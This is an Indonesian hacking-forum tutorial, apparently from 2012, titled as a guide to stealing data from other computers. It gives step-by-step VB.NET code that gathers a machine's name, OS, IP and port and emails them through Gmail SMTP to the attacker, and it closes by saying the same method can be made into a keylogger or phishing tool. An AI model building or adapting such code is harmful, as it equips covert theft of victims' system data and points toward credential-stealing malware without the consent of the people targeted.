ok langsung saja
kali ini gw memakai
vb.net 2008 karna di warnet
bagi yang belum mempunyai vb.net bisa download di bawah ini :VB.NET 2008
VB.NET 2010
kalo sudah di download buka vb.net kalian
[+] klik
File > New Project[+] Klik
Windows Forms Application > lalu isikan name dan klik OK
maka akan keluar form design nya
[+] Lalu klik kanan di toolbox > Choose items
- Spoiler:
[You must be registered and logged in to see this image.]
[+] download dulu MSWINSCK.OCX >
Klik tab
COM Components > Browse > pilih lokasi MSWINSCK.OCX tadi > ok
[+] tambahkan Komponen
2 Button
1 Textbox
1 AxWinsock
jadi seperti gambar di bawah ini :
- Spoiler:
[You must be registered and logged in to see this image.]
dan klik kanan di form > view code > delete semua nya lalu paste kan code di bawah
- Spoiler:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
TextBox1.Text = "Nama Komputer : " & System.Environment.MachineName
TextBox1.AppendText(Environment.NewLine & "Nama OS : " & My.Computer.Info.OSFullName)
TextBox1.AppendText(Environment.NewLine & "IP Komputer : " & AxWinsock1.LocalIP)
TextBox1.AppendText(Environment.NewLine & "Port Komputer : " & AxWinsock1.LocalPort)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("EMAIL", "PASSWORD") 'pakai gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("EMAIL")
mail.To.Add("EMAIL")
mail.Subject = "data komputer"
mail.Body = TextBox1.Text & ", "
smtpServer.Send(mail)
MsgBox("Sukses silahkan cek email!")
End Sub
End Class
[size=x-large]Note :[/size] [size=medium]yang berwarna merah ganti dengan login email ente[/size]
Dan coba di jalankan ( f5 ) , lalu klik
Tampilkan Data , maka textbox akan menampilkan data komputer, lalu klik
KIRIM , maka komputer akan mengirim isi textbox ke email ente
- Spoiler:
[You must be registered and logged in to see this image.]
cek di inbox email agan
- Spoiler:
[You must be registered and logged in to see this image.]
cara di atas juga bisa dibuat jadi keylogger, phising send email dll
Subject: Mencuri data komputer lain + send email 
Sat Jul 21, 2012 8:33 pm
